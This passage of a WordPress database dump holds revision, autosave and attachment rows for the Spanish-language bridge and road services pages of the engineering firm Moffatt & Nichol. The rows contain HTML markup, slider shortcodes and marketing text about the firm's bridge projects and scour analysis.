08:08:56','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2617',5,'anything_slides','',0),(2618,1,'2012-08-29 14:40:18','2012-08-29 14:40:18','<<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-one.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2620\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Reemplazo del tramo este del puente de la Bahía Oakland de San Francisco</div>\n<div class=\"gallary-text\">Como parte de una empresa conjunta, Moffatt & Nichol prestó servicios de diseño de ingeniería y de gerencia del proyecto para el reemplazo del tramo este de la vía paralela de doble segmento de 3,5 km de longitud del puente de la bahía de Oakland, San Francisco, que conecta la isla Yerba Buena y Oakland.</div>\n</div>','Bridges One','','inherit','open','open','','2612-autosave','','','2012-08-29 14:40:18','2012-08-29 14:40:18','',2612,'http://moffattnichol.com/spanish/2612-autosave/',0,'revision','',0),(2619,1,'2012-08-29 14:38:43','2012-08-29 14:38:43','','Bridges Two','','inherit','open','open','','2613-autosave','','','2012-08-29 14:38:43','2012-08-29 14:38:43','',2613,'http://moffattnichol.com/spanish/2613-autosave/',0,'revision','',0),(2620,1,'2012-08-29 14:39:23','2012-08-29 14:39:23','','Bridges','','inherit','open','open','','bridges-one-2','','','2012-08-29 14:39:23','2012-08-29 14:39:23','',2612,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-one.jpg',0,'attachment','image/jpeg',0),(2621,1,'2012-08-29 14:41:24','2012-08-29 14:41:24','','Bridges','','inherit','open','open','','bridges-two-2','','','2012-08-29 14:41:24','2012-08-29 14:41:24','',2613,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-two.jpg',0,'attachment','image/jpeg',0),(2622,1,'2012-08-29 14:42:49','2012-08-29 14:42:49','','Bridges','','inherit','open','open','','bridges-three-2','','','2012-08-29 14:42:49','2012-08-29 14:42:49','',2614,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-three.jpg',0,'attachment','image/jpeg',0),(2623,1,'2012-08-29 14:44:20','2012-08-29 14:44:20','','Bridges','','inherit','open','open','','bridges-four-2','','','2012-08-29 14:44:20','2012-08-29 14:44:20','',2616,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-four.jpg',0,'attachment','image/jpeg',0),(2624,1,'2012-08-29 14:44:55','2012-08-29 14:44:55','<img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-four.jpg\" alt=\"Bridges\" title=\"Bridges\" width=\"588\" height=\"231\" class=\"alignnone size-full wp-image-2623\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Puente Heritage Road</div>\n<div class=\"gallary-text\">La ciudad de Chula Vista seleccionó a Moffatt & Nichol para proporcionar la ingeniería preliminar para el reemplazo del puente temporal sobre el río Otay en Heritage Road con un puente nuevo y permanente que cuente con línea divisoria de carriles, bermas de emergencia, carriles para bicicletas y aceras.</div>\n</div>','Bridges Four','','inherit','open','open','','2616-autosave','','','2012-08-29 14:44:55','2012-08-29 14:44:55','',2616,'http://moffattnichol.com/spanish/2616-autosave/',0,'revision','',0),(2625,1,'2012-08-29 14:45:28','2012-08-29 14:45:28','\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Puente Buckman Springs Road sobre Cottonwood Creek</div>\n<div class=\"gallary-text\">Moffatt & Nichol fue seleccionado para encargarse del planeamiento y diseño con simulaciones visuales para el reemplazo del puente Buckman Springs Road de 137 metros de longitud. Debido a su pintoresca ubicación, el puente de reemplazo será diseñado para coexistir en armonía con sus bellos alrededores.</div>\n</div>\n','Bridges Five','','inherit','open','open','','2617-autosave','','','2012-08-29 14:45:28','2012-08-29 14:45:28','',2617,'http://moffattnichol.com/spanish/2617-autosave/',0,'revision','',0),(2626,1,'2012-08-29 14:45:38','2012-08-29 14:45:38','','Bridges','','inherit','open','open','','bridges-five-2','','','2012-08-29 14:45:38','2012-08-29 14:45:38','',2617,'http://moffattnichol.com/spanish/wp-content/uploads/2012/08/bridges-five.jpg',0,'attachment','image/jpeg',0),(2627,1,'2012-06-15 06:31:18','2012-06-15 06:31:18','<div class=\"content_faq\">\r\n[vslider name=\"bridges\"]\r\n  <h1>puentes</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n  <h3 id=\"3\">capacidades y experiencia profesional</h3> Hasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción<br />\r\n        Rehabilitación de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guía de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre áreas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">Construcción</div>\r\n      <p> Etapas de la construcción y mantenimiento del tráfico<br />\r\n        Estudios de la factibilidad de construcción e Ingeniería del valor<br />\r\n        Ingeniería y apoyo de la construcción<br />\r\n        Análisis de la construcción en función del tiempo<br />\r\n        Inspección de la construcción<br />\r\n        Planos según construcción y conciliación<br />\r\n        Representación del diseñador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        Diseño conceptual<br />\r\n        Estimados de costos<br />\r\n        Selección del tipo de estructura<br />\r\n        Estudios y documentación medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">Diseño</div>\r\n      <p> Diseño preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        Diseño antisísmico y modificación<br />\r\n        Estudios hidráulicos y de socavación<br />\r\n        Estudios de colisión de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        Diseño de cimentación profunda<br />\r\n        Socavación de puentes<br />\r\n        Análisis de la marejada ciclónica<br />\r\n      </p>\r\n      <div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\n      <p> Inspección por encima/debajo del nivel del agua con certificación NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        Modelación de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseño de reparación/rehabilitación<br />\r\n        Servicios de la fase de construcción<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> Estética de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        Análisis avanzado de elementos finitos<br />\r\n        Coordinación y reubicación de equipos de servicios públicos<br />\r\n        Diseño de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"1\">caminos y puentes</h3> Moffatt & Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n  \r\nMoffatt & Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción. \r\n \r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel.  Moffatt & Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"2\">análisis de socavación</h3> Moffatt & Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica.  Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt & Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n \r\nAdemás, Moffatt & Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-3','','','2012-06-15 06:31:18','2012-06-15 06:31:18','',640,'http://moffattnichol.com/spanish/640-revision-3/',0,'revision','',0),(2628,1,'2012-08-29 14:47:49','2012-08-29 14:47:49','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=bridges width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n  <h1>puentes</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n  <h3 id=\"3\">capacidades y experiencia profesional</h3> Hasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción<br />\r\n        Rehabilitación de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guía de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre áreas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">Construcción</div>\r\n      <p> Etapas de la construcción y mantenimiento del tráfico<br />\r\n        Estudios de la factibilidad de construcción e Ingeniería del valor<br />\r\n        Ingeniería y apoyo de la construcción<br />\r\n        Análisis de la construcción en función del tiempo<br />\r\n        Inspección de la construcción<br />\r\n        Planos según construcción y conciliación<br />\r\n        Representación del diseñador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        Diseño conceptual<br />\r\n        Estimados de costos<br />\r\n        Selección del tipo de estructura<br />\r\n        Estudios y documentación medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">Diseño</div>\r\n      <p> Diseño preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        Diseño antisísmico y modificación<br />\r\n        Estudios hidráulicos y de socavación<br />\r\n        Estudios de colisión de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        Diseño de cimentación profunda<br />\r\n        Socavación de puentes<br />\r\n        Análisis de la marejada ciclónica<br />\r\n      </p>\r\n      <div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\n      <p> Inspección por encima/debajo del nivel del agua con certificación NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        Modelación de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseño de reparación/rehabilitación<br />\r\n        Servicios de la fase de construcción<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> Estética de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        Análisis avanzado de elementos finitos<br />\r\n        Coordinación y reubicación de equipos de servicios públicos<br />\r\n        Diseño de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"1\">caminos y puentes</h3> Moffatt & Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n  \r\nMoffatt & Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción. \r\n \r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel.  Moffatt & Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"2\">análisis de socavación</h3> Moffatt & Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica.  Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt & Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n \r\nAdemás, Moffatt & Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-4','','','2012-08-29 14:47:49','2012-08-29 14:47:49','',640,'http://moffattnichol.com/spanish/640-revision-4/',0,'revision','',0),(2629,1,'2012-08-29 14:48:30','2012-08-29 14:48:30','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=bridges width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n\r\n  <h1>puentes</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n  <h3 id=\"3\">capacidades y experiencia profesional</h3> Hasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción<br />\r\n        Rehabilitación de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guía de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre áreas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">Construcción</div>\r\n      <p> Etapas de la construcción y mantenimiento del tráfico<br />\r\n        Estudios de la factibilidad de construcción e Ingeniería del valor<br />\r\n        Ingeniería y apoyo de la construcción<br />\r\n        Análisis de la construcción en función del tiempo<br />\r\n        Inspección de la construcción<br />\r\n        Planos según construcción y conciliación<br />\r\n        Representación del diseñador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        Diseño conceptual<br />\r\n        Estimados de costos<br />\r\n        Selección del tipo de estructura<br />\r\n        Estudios y documentación medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">Diseño</div>\r\n      <p> Diseño preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        Diseño antisísmico y modificación<br />\r\n        Estudios hidráulicos y de socavación<br />\r\n        Estudios de colisión de buques<br />\r\n        Estudios de carga de hielo<br />\r\n        Diseño de cimentación profunda<br />\r\n        Socavación de puentes<br />\r\n        Análisis de la marejada ciclónica<br />\r\n      </p>\r\n      <div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\n      <p> Inspección por encima/debajo del nivel del agua con certificación NBIS<br />\r\n        Muestreo y prueba de materiales<br />\r\n        Modelación de la vida de servicio (Estructuras de concreto)<br />\r\n        Servicios de diseño de reparación/rehabilitación<br />\r\n        Servicios de la fase de construcción<br />\r\n      </p>\r\n      <div class=\"divider-line\">Otros servicios</div>\r\n      <p> Estética de puentes y Soluciones sensibles al contexto<br />\r\n        Capacidad de carga de puentes<br />\r\n        Análisis avanzado de elementos finitos<br />\r\n        Coordinación y reubicación de equipos de servicios públicos<br />\r\n        Diseño de calzadas y accesos<br />\r\n      </p>\r\n    </div>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n      </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"1\">caminos y puentes</h3> Moffatt & Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n  \r\nMoffatt & Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción. \r\n \r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel.  Moffatt & Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h3 id=\"2\">análisis de socavación</h3> Moffatt & Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica.  Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt & Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n \r\nAdemás, Moffatt & Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-5','','','2012-08-29 14:48:30','2012-08-29 14:48:30','',640,'http://moffattnichol.com/spanish/640-revision-5/',0,'revision','',0),(2630,1,'2012-08-29 14:48:49','2012-08-29 14:48:49','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=bridges width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n&nbsp;\r\n  <h1>puentes</h1>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n  <h3 id=\"3\">capacidades y experiencia profesional</h3> Hasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n <ul>\r\n      <li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n      <li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n      <li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n    </ul>\r\n<div class=\"clear\"></div>\r\n    </div>\r\n    <div class=\"press-release-para\">\r\n Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt & Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas. &nbsp;\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n    <div class=\"bridges-left\">\r\n      <div class=\"divider-line\">Tipos de proyecto</div>\r\n      <p> Proyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción<br />\r\n        Rehabilitación de puentes<br />\r\n        Ensanchamiento y reemplazo de puentes<br />\r\n        Instalaciones para nuevos puentes y carreteras<br />\r\n        Puentes en caminos locales<br />\r\n        Pasos elevados de autopistas<br />\r\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\r\n        Carriles guía de tren ligero y estaciones elevadas<br />\r\n        Estructuras de muelles y frentes costeros<br />\r\n        Puentes para peatones y bicicletas<br />\r\n        Puentes en concreto, acero y madera<br />\r\n        Puentes sobre áreas medioambientalmente sensibles<br />\r\n      </p>\r\n      <div class=\"divider-line\">Construcción</div>\r\n      <p> Etapas de la construcción y mantenimiento del tráfico<br />\r\n        Estudios de la factibilidad de construcción e Ingeniería del valor<br />\r\n        Ingeniería y apoyo de la construcción<br />\r\n        Análisis de la construcción en función del tiempo<br />\r\n        Inspección de la construcción<br />\r\n        Planos según construcción y conciliación<br />\r\n        Representación del diseñador-constructor y del propietario<br />\r\n      </p>\r\n    </div>\r\n    <div class=\"bridges-right\">\r\n      <div class=\"divider-line\">Planeamiento</div>\r\n      <p>Estudios de factibilidad y planeamiento<br />\r\n        Diseño conceptual<br />\r\n        Estimados de costos<br />\r\n        Selección del tipo de estructura<br />\r\n        Estudios y documentación medioambientales<br />\r\n      </p>\r\n      <div class=\"divider-line\">Diseño</div>\r\n      <p> Diseño preliminar y final<br />\r\n        Planos, especificaciones y estimados<br />\r\n        